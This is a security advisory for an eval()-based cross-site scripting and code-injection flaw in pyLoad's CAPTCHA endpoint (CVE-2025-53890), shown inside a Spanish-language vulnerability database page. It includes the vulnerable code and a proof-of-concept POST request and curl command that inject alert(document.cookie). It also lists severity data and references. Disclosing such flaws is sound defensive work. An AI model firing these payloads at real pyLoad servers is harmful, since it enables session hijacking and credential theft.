pyLoad vulnerable to XSS through insecure CAPTCHA
Summary
An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.
Details
The vulnerable code resides in
function onCaptchaResult(result) {
eval(result); // Direct execution of attacker-controlled input
}
- The
onCaptchaResult()function directly passes CAPTCHA results (sent from the user) intoeval() - No sanitization or validation is performed on this input
- A malicious CAPTCHA result can include JavaScript such as
fetch()orchild_process.exec()in environments using NodeJS - Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it
Reproduction Methods
- Official Source Installation:
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
- Virtual Environment:
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
CAPTCHA Endpoint Verification
Technical Clarification:
-
The vulnerable endpoint is actually:
/interactive/captcha -
Complete PoC Request:
POST /interactive/captcha HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
cid=123&response=1%3Balert(document.cookie)
- Curl Command Correction:
curl -X POST "http://localhost:8000/interactive/captcha" \
-d "cid=123&response=1%3Balert(document.cookie)"
- Vulnerable Code Location:
The eval() vulnerability is confirmed in:src/pyload/webui/app/static/js/captcha-interactive.user.js
Resources
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | pyload-ng | < 0.20 | 0.20 |
Referencias
- https://github.com/pyload/pyload/security/advisories/GHSA-8w3f-4r8f-pf53
- https://nvd.nist.gov/vuln/detail/CVE-2025-53890
- https://github.com/pyload/pyload/pull/4586
- https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546
- https://github.com/pyload/pyload
- https://pypi.org/project/pyload-ng
- https://github.com/advisories/GHSA-8w3f-4r8f-pf53
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-79, CWE-94- Plataforma
- Python (PyPI)
- Paquete
pyload-ng- Publicada
- 15.07.2025
- Actualizado
- 11.10.2026 15:17
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-496 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-8w3f-4r8f-pf53 - CC BY 4.0
Historial de vulnerabilidades: pyload-ng
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 58
- Primera → última
- 01.2023 10.2026
- Sin corrección
- 24
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 9
- Alta 23
- Media 25
- Baja 1
Divulgaciones por año
- 2023: 9
- 2024: 8
- 2025: 8
- 2026: 33
-
pyLoad vulnerable to XSS through insecure CAPTCHA esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.